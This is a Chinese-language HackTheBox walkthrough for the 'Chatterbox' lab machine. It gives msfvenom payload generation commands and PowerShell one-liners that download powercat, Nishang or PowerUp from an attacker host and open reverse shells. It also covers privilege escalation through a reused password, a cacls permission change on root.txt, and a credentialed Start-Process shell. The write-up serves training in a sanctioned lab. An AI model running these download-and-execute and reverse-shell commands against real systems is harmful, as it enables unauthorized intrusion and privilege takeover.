Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Chatterbox_74

Chatterbox_74

查看漏洞利用文件。发现这个利用试执行CMD命令。并不是直接返回shell

修改CMD命令为下载powercat并执行反shell

powercat的做法

powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.45:8080/powercat.ps1');powercat -c 10.10.14.45 -p 4444 -e cmd"

修改并用\释义双引号后

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell -c \"IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.45:8080/powercat.ps1');powercat -c 10.10.14.45 -p 4444 -e cmd\"" -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

生成替换

修改exp中的目标ip

准备powercat

执行payload

在监听处得到shell

type user.txt 72290246dfaedb1e3e3ac9d6fb306334

nishang的做法

拉 Nishang的powershell过来 Invoke-PowerShellTcp.ps1

修改ps脚本 附加语句使其执行时能弹回shell Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.45 -Port 4444

改成更短的名字。从而使payload更短

生成payload

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell\"IEX(New-Object Net.webClient).downloadString('http://10.10.14.45/a.ps1')\"" -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

后面一样

提权

从目标机器上的PowerShell 中,使用以下命令传输powerup: IEX(New-Object Net.WebClient).downloadString('http://10.10.14.30/PowerUp.ps1')

现在,我们可以键入Invoke-AllChecks来查看我们在Windows框中使用的功能。

我们看到了Alfred的用户名和密码。因此,我们将尝试将其用于其他用途

让我们键入netusers来查看框上还有其他人:

我们可以成功导航到 C:\ users \ Administrator \ Desktop 并看到root.txt标志,但是当我们尝试查看它时,我们被拒绝了权限:

我们可以使用cacls通过以下命令来修改文件的权限:

cacls "c:\users\Administrator\Desktop\root.txt" /E /P Alfred:F

然后即可读取文件

cacls Windows实用程序,用于查看/编辑文件权限 / E 编辑ACL / P 设置权限 Alfred:F 使Alfred完全控制文件

现在,这为我们提供了根标志,而不是包装盒上的反向外壳,因此让我们对其进行修复:

我们需要创建一个凭据变量来存储密码,然后才能告诉Windows使用它来执行某些命令

$SecPass = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force

这告诉PowerShell将先前找到的密码存储在纯文本中,并强制将其保存(即使我们知道这是不好的做法)。 接下来,我们将创建一个名为cred的新变量,并将其用于登录:

$cred = New-Object System.Management.Automation.PSCredential ('Administrator', $SecPass)

新建一个其他端口的 nishang,或者是继续使用powercat

设立新的监听

现在,我们要从Kali框中传输新的powershell文件,并使用存储的凭据执行它。该命令如下所示:

Start-Process -FilePath "powershell" -argumentlist "IEX (New-Object Net.WebClient).downloadString('http://10.10.14.30/adminshell.ps1')" -Credential $cred